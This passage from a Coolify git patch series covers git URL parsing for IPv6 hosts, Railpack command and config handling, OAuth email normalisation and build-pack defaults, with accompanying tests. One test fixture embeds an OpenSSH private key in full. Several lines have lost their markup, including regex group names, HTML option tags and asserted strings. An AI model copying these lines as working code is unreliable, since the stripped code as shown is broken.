$parsedRepository)) { $providerInfo['port'] = (string) $parsedRepository['port']; } } else { - preg_match('/^(?[^:]+):(?\d+)\/(?.+)$/', $gitRepository, $matches); + preg_match('/^(?[^:]+):(?\d+)\/(?.+)$/', $normalizedRepository, $matches); if (! empty($matches['port'])) { $providerInfo['port'] = $matches['port']; diff --git a/tests/Feature/ConvertingGitUrlsTest.php b/tests/Feature/ConvertingGitUrlsTest.php index 5ff1c8365..96b19fcc9 100644 --- a/tests/Feature/ConvertingGitUrlsTest.php +++ b/tests/Feature/ConvertingGitUrlsTest.php @@ -68,3 +68,39 @@ 'port' => '22222', ]); }); + +test('convertGitUrlsForSourceAndSshUrlSchemeWithCustomPortAndIpv6Host', function () { + $result = convertGitUrl('ssh://git@[2001:db8::10]:22222/group/project.git', 'source', null); + expect($result)->toBe([ + 'repository' => 'ssh://git@[2001:db8::10]:22222/group/project.git', + 'port' => '22222', + ]); +}); + +test('convertGitUrlsForDeployKeyAndGithubAppWithCustomPort', function () { + $githubApp = new GithubApp([ + 'html_url' => 'https://github.example.com', + 'custom_user' => 'git', + 'custom_port' => 22222, + ]); + + $result = convertGitUrl('andrasbacsai/coolify-examples.git', 'deploy_key', $githubApp); + expect($result)->toBe([ + 'repository' => 'ssh://git@github.example.com:22222/andrasbacsai/coolify-examples.git', + 'port' => '22222', + ]); +}); + +test('convertGitUrlsForDeployKeyAndGithubAppWithCustomPortAndIpv6Host', function () { + $githubApp = new GithubApp([ + 'html_url' => 'https://[2001:db8::10]', + 'custom_user' => 'git', + 'custom_port' => 22222, + ]); + + $result = convertGitUrl('andrasbacsai/coolify-examples.git', 'deploy_key', $githubApp); + expect($result)->toBe([ + 'repository' => 'ssh://git@[2001:db8::10]:22222/andrasbacsai/coolify-examples.git', + 'port' => '22222', + ]); +}); From 18508e91495e2f5662ecbf918d82e104aaee4845 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 9 Apr 2026 17:13:26 +0200 Subject: [PATCH 018/329] fix(railpack): pass build and start commands via --env instead of dedicated flags Replace --build-cmd and --start-cmd with --env RAILPACK_BUILD_CMD and --env RAILPACK_START_CMD to align with how install_command is already passed, matching the expected railpack CLI interface. --- app/Jobs/ApplicationDeploymentJob.php | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index 26cef35d7..e9b4667ab 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -2498,10 +2498,10 @@ private function build_railpack_image(): void $prepare_command .= " {$this->env_railpack_args}"; } if ($this->application->build_command) { - $prepare_command .= ' --build-cmd '.escapeShellValue($this->application->build_command); + $prepare_command .= ' --env '.escapeShellValue("RAILPACK_BUILD_CMD={$this->application->build_command}"); } if ($this->application->start_command) { - $prepare_command .= ' --start-cmd '.escapeShellValue($this->application->start_command); + $prepare_command .= ' --env '.escapeShellValue("RAILPACK_START_CMD={$this->application->start_command}"); } if ($this->application->install_command) { $prepare_command .= ' --env '.escapeShellValue("RAILPACK_INSTALL_CMD={$this->application->install_command}"); From 519a186e841d0d5c3f56c38af8aeb7cfc7d63cdd Mon Sep 17 00:00:00 2001 From: Tristan Rhodes Date: Thu, 9 Apr 2026 09:38:56 -0600 Subject: [PATCH 019/329] fix: normalize oauth emails before matching users --- app/Http/Controllers/OauthController.php | 9 ++- tests/Feature/OauthControllerTest.php | 79 ++++++++++++++++++++++++ 2 files changed, 86 insertions(+), 2 deletions(-) create mode 100644 tests/Feature/OauthControllerTest.php diff --git a/app/Http/Controllers/OauthController.php b/app/Http/Controllers/OauthController.php index 3a3f18c9c..4038fe63e 100644 --- a/app/Http/Controllers/OauthController.php +++ b/app/Http/Controllers/OauthController.php @@ -19,7 +19,12 @@ public function callback(string $provider) { try { $oauthUser = get_socialite_provider($provider)->user(); - $user = User::whereEmail($oauthUser->email)->first(); + $email = trim((string) $oauthUser->email); + if ($email === '') { + abort(403, 'OAuth provider did not return an email address'); + } + $email = strtolower($email); + $user = User::whereEmail($email)->first(); if (! $user) { $settings = instanceSettings(); if (! $settings->is_registration_enabled) { @@ -28,7 +33,7 @@ public function callback(string $provider) $user = User::create([ 'name' => $oauthUser->name, - 'email' => $oauthUser->email, + 'email' => $email, ]); } Auth::login($user); diff --git a/tests/Feature/OauthControllerTest.php b/tests/Feature/OauthControllerTest.php new file mode 100644 index 000000000..af5fb0658 --- /dev/null +++ b/tests/Feature/OauthControllerTest.php @@ -0,0 +1,79 @@ + 0, + 'is_registration_enabled' => false, + ]); + + OauthSetting::create([ + 'provider' => 'google', + 'client_id' => 'client-id', + 'client_secret' => 'client-secret', + 'redirect_uri' => 'https://coolify.example.com/auth/google/callback', + 'tenant' => 'example.com', + ]); +}); + +it('logs in an existing user when the oauth provider returns a mixed-case email', function () { + config()->set('app.maintenance.driver', 'file'); + + $user = User::factory()->create([ + 'email' => 'username@example.edu', + ]); + + $provider = \Mockery::mock(); + $provider->shouldReceive('setConfig')->once()->andReturnSelf(); + $provider->shouldReceive('with')->once()->with(['hd' => 'example.com'])->andReturnSelf(); + $provider->shouldReceive('user')->once()->andReturn((object) [ + 'email' => 'UserName@example.edu', + 'name' => 'Example User', + 'id' => 'google-user-id', + ]); + + Socialite::shouldReceive('driver')->once()->with('google')->andReturn($provider); + + $response = $this->get(route('auth.callback', 'google')); + + $response->assertRedirect('/'); + $this->assertAuthenticatedAs($user); + expect(User::count())->toBe(1); +}); + +it('rejects oauth logins when the provider does not return an email address', function (?string $providerEmail) { + config()->set('app.maintenance.driver', 'file'); + InstanceSettings::firstOrCreate([ + 'id' => 0, + ], [ + 'is_registration_enabled' => false, + ])->update([ + 'is_registration_enabled' => true, + ]); + + $provider = \Mockery::mock(); + $provider->shouldReceive('setConfig')->once()->andReturnSelf(); + $provider->shouldReceive('with')->once()->with(['hd' => 'example.com'])->andReturnSelf(); + $provider->shouldReceive('user')->once()->andReturn((object) [ + 'email' => $providerEmail, + 'name' => 'Example User', + 'id' => 'google-user-id', + ]); + + Socialite::shouldReceive('driver')->once()->with('google')->andReturn($provider); + + $response = $this->from('/login')->get(route('auth.callback', 'google')); + + $response->assertRedirect('/login'); + expect(User::count())->toBe(0); +})->with([ + 'null email' => [null], + 'blank email' => [' '], +]); From 0649a424b8468ff8be371643e7ed8d7a5ff539b4 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 9 Apr 2026 17:48:17 +0200 Subject: [PATCH 020/329] fix(buildpack): revert default build pack to nixpacks and reorder selector Change default build_pack from railpack back to nixpacks in all new application flows (GithubPrivateRepository, GithubPrivateRepositoryDeployKey, PublicGitRepository) and reorder the build pack dropdown so Nixpacks appears before Railpack across all relevant views. Add feature tests covering the nixpacks default and selector ordering. --- .../Project/New/GithubPrivateRepository.php | 2 +- .../New/GithubPrivateRepositoryDeployKey.php | 2 +- .../Project/New/PublicGitRepository.php | 2 +- .../project/application/general.blade.php | 2 +- ...ub-private-repository-deploy-key.blade.php | 2 +- .../new/github-private-repository.blade.php | 2 +- .../new/public-git-repository.blade.php | 2 +- ...pplicationGeneralBuildpackSelectorTest.php | 68 +++++++++++++++++++ .../NewApplicationBuildpackDefaultsTest.php | 43 ++++++++++++ 9 files changed, 118 insertions(+), 7 deletions(-) create mode 100644 tests/Feature/ApplicationGeneralBuildpackSelectorTest.php create mode 100644 tests/Feature/NewApplicationBuildpackDefaultsTest.php diff --git a/app/Livewire/Project/New/GithubPrivateRepository.php b/app/Livewire/Project/New/GithubPrivateRepository.php index b9db7373f..be7daddd7 100644 --- a/app/Livewire/Project/New/GithubPrivateRepository.php +++ b/app/Livewire/Project/New/GithubPrivateRepository.php @@ -63,7 +63,7 @@ class GithubPrivateRepository extends Component protected int $page = 1; - public $build_pack = 'railpack'; + public $build_pack = 'nixpacks'; public bool $show_is_static = true; diff --git a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php index 1acf5bc18..e81139792 100644 --- a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php +++ b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php @@ -46,7 +46,7 @@ class GithubPrivateRepositoryDeployKey extends Component public string $branch; - public $build_pack = 'railpack'; + public $build_pack = 'nixpacks'; public bool $show_is_static = true; diff --git a/app/Livewire/Project/New/PublicGitRepository.php b/app/Livewire/Project/New/PublicGitRepository.php index 8213f3cd0..fb24ba284 100644 --- a/app/Livewire/Project/New/PublicGitRepository.php +++ b/app/Livewire/Project/New/PublicGitRepository.php @@ -58,7 +58,7 @@ class PublicGitRepository extends Component public string $git_repository; - public $build_pack = 'railpack'; + public $build_pack = 'nixpacks'; public bool $show_is_static = true; diff --git a/resources/views/livewire/project/application/general.blade.php b/resources/views/livewire/project/application/general.blade.php index 87465c5d3..2aab1ab92 100644 --- a/resources/views/livewire/project/application/general.blade.php +++ b/resources/views/livewire/project/application/general.blade.php @@ -31,8 +31,8 @@
- + diff --git a/resources/views/livewire/project/new/github-private-repository-deploy-key.blade.php b/resources/views/livewire/project/new/github-private-repository-deploy-key.blade.php index 3c3313643..ca3c977a7 100644 --- a/resources/views/livewire/project/new/github-private-repository-deploy-key.blade.php +++ b/resources/views/livewire/project/new/github-private-repository-deploy-key.blade.php @@ -51,8 +51,8 @@ class="loading loading-xs dark:text-warning loading-spinner">
- + diff --git a/resources/views/livewire/project/new/github-private-repository.blade.php b/resources/views/livewire/project/new/github-private-repository.blade.php index 31dbed038..acbff15a6 100644 --- a/resources/views/livewire/project/new/github-private-repository.blade.php +++ b/resources/views/livewire/project/new/github-private-repository.blade.php @@ -82,8 +82,8 @@ @endforeach - + diff --git a/resources/views/livewire/project/new/public-git-repository.blade.php b/resources/views/livewire/project/new/public-git-repository.blade.php index 03fc71a5d..1df5cf907 100644 --- a/resources/views/livewire/project/new/public-git-repository.blade.php +++ b/resources/views/livewire/project/new/public-git-repository.blade.php @@ -41,8 +41,8 @@ helper="You can select other branches after configuration is done." /> @endif - + diff --git a/tests/Feature/ApplicationGeneralBuildpackSelectorTest.php b/tests/Feature/ApplicationGeneralBuildpackSelectorTest.php new file mode 100644 index 000000000..9b4c4c00d --- /dev/null +++ b/tests/Feature/ApplicationGeneralBuildpackSelectorTest.php @@ -0,0 +1,68 @@ +team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); + InstanceSettings::unguarded(function () { + InstanceSettings::updateOrCreate(['id' => 0], []); + }); + + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); + $this->privateKey = PrivateKey::create([ + 'name' => 'Test Key', + 'private_key' => '-----BEGIN OPENSSH PRIVATE KEY----- +b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW +QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk +hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA +AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV +uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA== +-----END OPENSSH PRIVATE KEY-----', + 'team_id' => $this->team->id, + ]); + $this->server = Server::factory()->create([ + 'team_id' => $this->team->id, + 'private_key_id' => $this->privateKey->id, + ]); + $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first() + ?? StandaloneDocker::factory()->create(['server_id' => $this->server->id, 'network' => 'coolify-test']); +}); + +test('existing application buildpack selector lists nixpacks before railpack', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => StandaloneDocker::class, + 'build_pack' => 'nixpacks', + 'static_image' => 'nginx:alpine', + 'base_directory' => '/', + 'is_http_basic_auth_enabled' => false, + 'redirect' => 'no', + ]); + + Livewire::test(General::class, ['application' => $application]) + ->assertSuccessful() + ->assertSeeInOrder([ + '', + '', + ], false); +}); diff --git a/tests/Feature/NewApplicationBuildpackDefaultsTest.php b/tests/Feature/NewApplicationBuildpackDefaultsTest.php new file mode 100644 index 000000000..49c1ee7b2 --- /dev/null +++ b/tests/Feature/NewApplicationBuildpackDefaultsTest.php @@ -0,0 +1,43 @@ +team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); +}); + +describe('new application buildpack defaults', function () { + test('github app repository flow defaults to nixpacks', function () { + Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app']) + ->assertSet('build_pack', 'nixpacks'); + }); + + test('deploy key repository flow defaults to nixpacks', function () { + Livewire::test(GithubPrivateRepositoryDeployKey::class, ['type' => 'private-deploy-key']) + ->assertSet('build_pack', 'nixpacks'); + }); + + test('public repository flow defaults to nixpacks and lists railpack second', function () { + Livewire::test(PublicGitRepository::class, ['type' => 'public']) + ->assertSet('build_pack', 'nixpacks'); + }); + + test('public repository flow keeps railpack available after branch lookup', function () { + Livewire::test(PublicGitRepository::class, ['type' => 'public']) + ->set('branchFound', true) + ->assertSeeInOrder(['Nixpacks', 'Railpack']); + }); +}); From d7e1b7ec375c8f4d0700e845161c5f24ac51b8be Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 9 Apr 2026 18:45:42 +0200 Subject: [PATCH 021/329] feat(railpack): add config merging, beta badge, and nodejs seeder example - Implement railpack.json + generated config deep merging logic in ApplicationDeploymentJob with JSON validation and assoc array checks - Label Railpack as "Beta" in all build pack selectors and show a visible beta badge when railpack is selected in new-app forms - Add railpack-nodejs Fastify example to ApplicationSeeder - Add ApplicationSeederTest and ApplicationDeploymentRailpackConfigTest covering config merge behavior and seeder correctness --- app/Jobs/ApplicationDeploymentJob.php | 169 ++++++++++++++- database/seeders/ApplicationSeeder.php | 16 ++ .../project/application/general.blade.php | 10 +- ...ub-private-repository-deploy-key.blade.php | 10 +- .../new/github-private-repository.blade.php | 10 +- .../new/public-git-repository.blade.php | 10 +- ...pplicationGeneralBuildpackSelectorTest.php | 20 +- tests/Feature/ApplicationSeederTest.php | 51 +++++ .../NewApplicationBuildpackDefaultsTest.php | 10 +- ...pplicationDeploymentRailpackConfigTest.php | 195 ++++++++++++++++++ 10 files changed, 482 insertions(+), 19 deletions(-) create mode 100644 tests/Feature/ApplicationSeederTest.php create mode 100644 tests/Unit/ApplicationDeploymentRailpackConfigTest.php diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index e9b4667ab..d5c6b1c80 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -33,6 +33,7 @@ use Illuminate\Support\Collection; use Illuminate\Support\Sleep; use Illuminate\Support\Str; +use JsonException; use Spatie\Url\Url; use Symfony\Component\Yaml\Yaml; use Throwable; @@ -48,6 +49,10 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue private const NIXPACKS_PLAN_PATH = '/artifacts/thegameplan.json'; + private const RAILPACK_REPOSITORY_CONFIG_PATH = 'railpack.json'; + + private const RAILPACK_GENERATED_CONFIG_PATH = '.coolify/railpack.generated.json'; + public $tries = 1; public $timeout = 3600; @@ -2487,28 +2492,170 @@ private function generate_railpack_env_variables(): void $this->env_railpack_args = $this->env_railpack_args->implode(' '); } - private function build_railpack_image(): void + private function decode_railpack_config(string $config, string $source): array { - $this->generate_railpack_env_variables(); + try { + $decoded = json_decode($config, true, 512, JSON_THROW_ON_ERROR); + } catch (JsonException $exception) { + throw new DeploymentException("Invalid {$source}: {$exception->getMessage()}", $exception->getCode(), $exception); + } - // Step 1: Generate build plan with railpack prepare + if (! is_array($decoded)) { + throw new DeploymentException("Invalid {$source}: expected a JSON object."); + } + + return $decoded; + } + + private function is_assoc_array(array $value): bool + { + if ($value === []) { + return false; + } + + return array_keys($value) !== range(0, count($value) - 1); + } + + private function merge_railpack_config(array $base, array $overrides): array + { + foreach ($overrides as $key => $value) { + if ( + array_key_exists($key, $base) + && is_array($base[$key]) + && is_array($value) + && $this->is_assoc_array($base[$key]) + && $this->is_assoc_array($value) + ) { + $base[$key] = $this->merge_railpack_config($base[$key], $value); + } else { + $base[$key] = $value; + } + } + + return $base; + } + + private function railpack_config_overrides(): array + { + return []; + } + + private function railpack_prepare_environment_variables(): Collection + { + $variables = collect([]); + + if ($this->application->install_command) { + $variables->put('RAILPACK_INSTALL_CMD', $this->application->install_command); + } + + if ($this->application->build_command) { + $variables->put('RAILPACK_BUILD_CMD', $this->application->build_command); + } + + if ($this->application->start_command) { + $variables->put('RAILPACK_START_CMD', $this->application->start_command); + } + + return $variables; + } + + private function generated_railpack_config_relative_path(): string + { + return self::RAILPACK_GENERATED_CONFIG_PATH; + } + + private function generated_railpack_config_absolute_path(): string + { + return "{$this->workdir}/".self::RAILPACK_GENERATED_CONFIG_PATH; + } + + private function generate_railpack_config_file(): ?string + { + $repositoryConfig = []; + $this->execute_remote_command([ + executeInDocker($this->deployment_uuid, "test -f {$this->workdir}/".self::RAILPACK_REPOSITORY_CONFIG_PATH." && echo 'exists' || echo 'missing'"), + 'hidden' => true, + 'save' => 'railpack_config_exists', + ]); + + if (str($this->saved_outputs->get('railpack_config_exists'))->trim()->toString() === 'exists') { + $this->execute_remote_command([ + executeInDocker($this->deployment_uuid, "cat {$this->workdir}/".self::RAILPACK_REPOSITORY_CONFIG_PATH), + 'hidden' => true, + 'save' => 'railpack_repository_config', + ]); + + $repositoryConfig = $this->decode_railpack_config( + $this->saved_outputs->get('railpack_repository_config', ''), + 'repository railpack.json' + ); + } + + $overrides = $this->railpack_config_overrides(); + if ($repositoryConfig === [] && $overrides === []) { + return null; + } + + $mergedConfig = $this->merge_railpack_config($repositoryConfig, $overrides); + if (! array_key_exists('$schema', $mergedConfig)) { + $mergedConfig['$schema'] = 'https://schema.railpack.com'; + } + + try { + $encodedConfig = json_encode($mergedConfig, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_THROW_ON_ERROR); + } catch (JsonException $exception) { + throw new DeploymentException("Failed to encode generated Railpack config: {$exception->getMessage()}", $exception->getCode(), $exception); + } + + $configPath = $this->generated_railpack_config_absolute_path(); + $encodedConfig = base64_encode($encodedConfig); + + $this->execute_remote_command( + [ + executeInDocker($this->deployment_uuid, "mkdir -p {$this->workdir}/.coolify"), + 'hidden' => true, + ], + [ + executeInDocker($this->deployment_uuid, "echo '{$encodedConfig}' | base64 -d | tee {$configPath} > /dev/null"), + 'hidden' => true, + ] + ); + + return $this->generated_railpack_config_relative_path(); + } + + private function railpack_prepare_command(?string $configFilePath = null): string + { $prepare_command = 'railpack prepare'; + $prepareEnvironmentVariables = $this->railpack_prepare_environment_variables() + ->map(fn ($value, $key) => "{$key}=".escapeShellValue($value)) + ->implode(' '); + + if ($prepareEnvironmentVariables !== '') { + $prepare_command = "{$prepareEnvironmentVariables} {$prepare_command}"; + } if ($this->env_railpack_args) { $prepare_command .= " {$this->env_railpack_args}"; } - if ($this->application->build_command) { - $prepare_command .= ' --env '.escapeShellValue("RAILPACK_BUILD_CMD={$this->application->build_command}"); - } - if ($this->application->start_command) { - $prepare_command .= ' --env '.escapeShellValue("RAILPACK_START_CMD={$this->application->start_command}"); - } - if ($this->application->install_command) { - $prepare_command .= ' --env '.escapeShellValue("RAILPACK_INSTALL_CMD={$this->application->install_command}"); + + if ($configFilePath) { + $prepare_command .= ' --config-file '.escapeShellValue($configFilePath); } $prepare_command .= " --plan-out /artifacts/railpack-plan.json {$this->workdir}"; + return $prepare_command; + } + + private function build_railpack_image(): void + { + $this->generate_railpack_env_variables(); + $railpackConfigPath = $this->generate_railpack_config_file(); + + // Step 1: Generate build plan with railpack prepare + $prepare_command = $this->railpack_prepare_command($railpackConfigPath); + $this->application_deployment_queue->addLogEntry('Generating Railpack build plan.'); $this->execute_remote_command( [executeInDocker($this->deployment_uuid, $prepare_command), 'hidden' => true], diff --git a/database/seeders/ApplicationSeeder.php b/database/seeders/ApplicationSeeder.php index edb28c377..212bcce79 100644 --- a/database/seeders/ApplicationSeeder.php +++ b/database/seeders/ApplicationSeeder.php @@ -47,6 +47,22 @@ public function run(): void 'source_id' => 1, 'source_type' => GithubApp::class, ]); + Application::create([ + 'uuid' => 'railpack-nodejs', + 'name' => 'Railpack NodeJS Fastify Example', + 'fqdn' => 'http://railpack-nodejs.127.0.0.1.sslip.io', + 'repository_project_id' => 603035348, + 'git_repository' => 'coollabsio/coolify-examples', + 'git_branch' => 'v4.x', + 'base_directory' => '/nodejs', + 'build_pack' => 'railpack', + 'ports_exposes' => '3000', + 'environment_id' => 1, + 'destination_id' => 0, + 'destination_type' => StandaloneDocker::class, + 'source_id' => 1, + 'source_type' => GithubApp::class, + ]); Application::create([ 'uuid' => 'dockerfile', 'name' => 'Dockerfile Example', diff --git a/resources/views/livewire/project/application/general.blade.php b/resources/views/livewire/project/application/general.blade.php index 2aab1ab92..382f05278 100644 --- a/resources/views/livewire/project/application/general.blade.php +++ b/resources/views/livewire/project/application/general.blade.php @@ -32,7 +32,7 @@ - + @@ -236,11 +236,15 @@ class="underline" href="https://coolify.io/docs/knowledge-base/docker/registry"
-
{{ $buildPack === 'railpack' ? 'Railpack' : 'Nixpacks' }} will detect the required configuration - automatically. + @if ($buildPack === 'nixpacks') +
+ + Nixpacks + will detect the required configuration automatically. Framework Specific Docs
+ @endif @endif @endif diff --git a/resources/views/livewire/project/new/github-private-repository-deploy-key.blade.php b/resources/views/livewire/project/new/github-private-repository-deploy-key.blade.php index ca3c977a7..249ded1f7 100644 --- a/resources/views/livewire/project/new/github-private-repository-deploy-key.blade.php +++ b/resources/views/livewire/project/new/github-private-repository-deploy-key.blade.php @@ -52,7 +52,7 @@ class="loading loading-xs dark:text-warning loading-spinner"> - + @@ -61,6 +61,14 @@ class="loading loading-xs dark:text-warning loading-spinner"> @endif
+ @if ($build_pack === 'railpack') +
+ + Beta + +
+ @endif @if ($build_pack === 'dockercompose')
- + @@ -93,6 +93,14 @@ helper="If there is a build process involved (like Svelte, React, Next, etc..), please specify the output directory for the build assets." /> @endif
+ @if ($build_pack === 'railpack') +
+ + Beta + +
+ @endif @if ($build_pack === 'dockercompose')
- + @@ -52,6 +52,14 @@ helper="If there is a build process involved (like Svelte, React, Next, etc..), please specify the output directory for the build assets." /> @endif
+ @if ($build_pack === 'railpack') +
+ + Beta + +
+ @endif @if ($build_pack === 'dockercompose')
Nixpacks', - '', + '', ], false); }); + +test('existing application shows railpack beta badge in build helper copy', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => StandaloneDocker::class, + 'build_pack' => 'railpack', + 'static_image' => 'nginx:alpine', + 'base_directory' => '/', + 'is_http_basic_auth_enabled' => false, + 'redirect' => 'no', + ]); + + Livewire::test(General::class, ['application' => $application]) + ->assertSuccessful() + ->assertSee('Railpack') + ->assertSee('Beta'); +}); diff --git a/tests/Feature/ApplicationSeederTest.php b/tests/Feature/ApplicationSeederTest.php new file mode 100644 index 000000000..ac39ea4a7 --- /dev/null +++ b/tests/Feature/ApplicationSeederTest.php @@ -0,0 +1,51 @@ +seed([ + UserSeeder::class, + TeamSeeder::class, + PrivateKeySeeder::class, + ServerSeeder::class, + ProjectSeeder::class, + StandaloneDockerSeeder::class, + GithubAppSeeder::class, + ApplicationSeeder::class, + ]); + + $nixpacksExample = Application::where('uuid', 'nodejs')->first(); + $railpackExample = Application::where('uuid', 'railpack-nodejs')->first(); + + expect($nixpacksExample) + ->not->toBeNull() + ->and($nixpacksExample->name)->toBe('NodeJS Fastify Example') + ->and($nixpacksExample->build_pack)->toBe('nixpacks') + ->and($nixpacksExample->base_directory)->toBe('/nodejs') + ->and($nixpacksExample->ports_exposes)->toBe('3000'); + + expect($railpackExample) + ->not->toBeNull() + ->and($railpackExample->name)->toBe('Railpack NodeJS Fastify Example') + ->and($railpackExample->fqdn)->toBe('http://railpack-nodejs.127.0.0.1.sslip.io') + ->and($railpackExample->repository_project_id)->toBe(603035348) + ->and($railpackExample->git_repository)->toBe('coollabsio/coolify-examples') + ->and($railpackExample->git_branch)->toBe('v4.x') + ->and($railpackExample->base_directory)->toBe('/nodejs') + ->and($railpackExample->build_pack)->toBe('railpack') + ->and($railpackExample->ports_exposes)->toBe('3000') + ->and($railpackExample->environment_id)->toBe(1) + ->and($railpackExample->destination_id)->toBe(0) + ->and($railpackExample->source_id)->toBe(1); +}); diff --git a/tests/Feature/NewApplicationBuildpackDefaultsTest.php b/tests/Feature/NewApplicationBuildpackDefaultsTest.php index 49c1ee7b2..f1bcdcb65 100644 --- a/tests/Feature/NewApplicationBuildpackDefaultsTest.php +++ b/tests/Feature/NewApplicationBuildpackDefaultsTest.php @@ -38,6 +38,14 @@ test('public repository flow keeps railpack available after branch lookup', function () { Livewire::test(PublicGitRepository::class, ['type' => 'public']) ->set('branchFound', true) - ->assertSeeInOrder(['Nixpacks', 'Railpack']); + ->assertSeeInOrder(['Nixpacks', 'Railpack (Beta)']) + ->assertSee('Beta'); + }); + + test('deploy key repository flow shows railpack beta label in build pack selector', function () { + Livewire::test(GithubPrivateRepositoryDeployKey::class, ['type' => 'private-deploy-key']) + ->set('current_step', 'repository') + ->assertSee('Railpack (Beta)') + ->assertSee('Beta'); }); }); diff --git a/tests/Unit/ApplicationDeploymentRailpackConfigTest.php b/tests/Unit/ApplicationDeploymentRailpackConfigTest.php new file mode 100644 index 000000000..5cd238b99 --- /dev/null +++ b/tests/Unit/ApplicationDeploymentRailpackConfigTest.php @@ -0,0 +1,195 @@ +recordedCommands[] = $commands; + } +} + +function makeRailpackDeploymentJob(array $applicationAttributes = [], array $savedOutputs = []): array +{ + $job = new TestableRailpackDeploymentJob; + $reflection = new ReflectionClass(ApplicationDeploymentJob::class); + + $application = new Application($applicationAttributes); + + foreach ([ + 'application' => $application, + 'workdir' => '/artifacts/test-app', + 'deployment_uuid' => 'deployment-uuid', + 'saved_outputs' => new Collection($savedOutputs), + 'env_railpack_args' => "--env 'RAILPACK_NODE_VERSION=22'", + ] as $property => $value) { + $reflectionProperty = $reflection->getProperty($property); + $reflectionProperty->setAccessible(true); + $reflectionProperty->setValue($job, $value); + } + + return [$job, $reflection]; +} + +function invokeRailpackMethod(object $job, ReflectionClass $reflection, string $method, array $arguments = []): mixed +{ + $reflectionMethod = $reflection->getMethod($method); + $reflectionMethod->setAccessible(true); + + return $reflectionMethod->invokeArgs($job, $arguments); +} + +it('deep merges repository railpack config with coolify overrides', function () { + $repositoryConfigJson = json_encode([ + '$schema' => 'https://schema.railpack.com', + 'packages' => [ + 'node' => '20', + ], + 'steps' => [ + 'build' => [ + 'inputs' => [['step' => 'install']], + 'commands' => ['npm run build'], + ], + ], + 'deploy' => [ + 'variables' => [ + 'NODE_ENV' => 'production', + ], + 'startCommand' => 'node index.js', + ], + ], JSON_THROW_ON_ERROR); + + [$job, $reflection] = makeRailpackDeploymentJob( + [ + 'install_command' => 'npm ci', + 'build_command' => 'npm run build:prod', + 'start_command' => 'node server.js', + ], + [ + 'railpack_config_exists' => 'exists', + 'railpack_repository_config' => $repositoryConfigJson, + ], + ); + + $repositoryConfig = invokeRailpackMethod( + $job, + $reflection, + 'decode_railpack_config', + [$repositoryConfigJson, 'repository railpack.json'], + ); + $overrides = [ + 'deploy' => [ + 'variables' => [ + 'APP_ENV' => 'production', + ], + ], + 'packages' => [ + 'python' => '3.13', + ], + ]; + $generatedConfig = invokeRailpackMethod($job, $reflection, 'merge_railpack_config', [$repositoryConfig, $overrides]); + + expect($generatedConfig)->toMatchArray([ + '$schema' => 'https://schema.railpack.com', + 'packages' => [ + 'node' => '20', + 'python' => '3.13', + ], + 'steps' => [ + 'build' => [ + 'inputs' => [['step' => 'install']], + 'commands' => ['npm run build'], + ], + ], + 'deploy' => [ + 'variables' => [ + 'NODE_ENV' => 'production', + 'APP_ENV' => 'production', + ], + 'startCommand' => 'node index.js', + ], + ]); +}); + +it('writes a generated railpack config file when repository config exists', function () { + [$job, $reflection] = makeRailpackDeploymentJob( + ['build_command' => 'npm run build'], + [ + 'railpack_config_exists' => 'exists', + 'railpack_repository_config' => json_encode([ + '$schema' => 'https://schema.railpack.com', + 'steps' => [ + 'build' => [ + 'commands' => ['npm run build'], + ], + ], + ], JSON_THROW_ON_ERROR), + ], + ); + + $configPath = invokeRailpackMethod($job, $reflection, 'generate_railpack_config_file'); + + expect($configPath)->toBe('.coolify/railpack.generated.json'); + expect($job->recordedCommands)->toHaveCount(3); +}); + +it('does not generate a railpack config file for command overrides alone', function () { + [$job, $reflection] = makeRailpackDeploymentJob([ + 'install_command' => 'npm ci', + 'build_command' => 'npm run build', + 'start_command' => 'node server.js', + ]); + + $configPath = invokeRailpackMethod($job, $reflection, 'generate_railpack_config_file'); + + expect($configPath)->toBeNull(); + expect($job->recordedCommands)->toHaveCount(1); +}); + +it('fails fast when repository railpack config is invalid json', function () { + [$job, $reflection] = makeRailpackDeploymentJob( + ['build_command' => 'npm run build'], + [ + 'railpack_config_exists' => 'exists', + 'railpack_repository_config' => '{"steps":{"build":', + 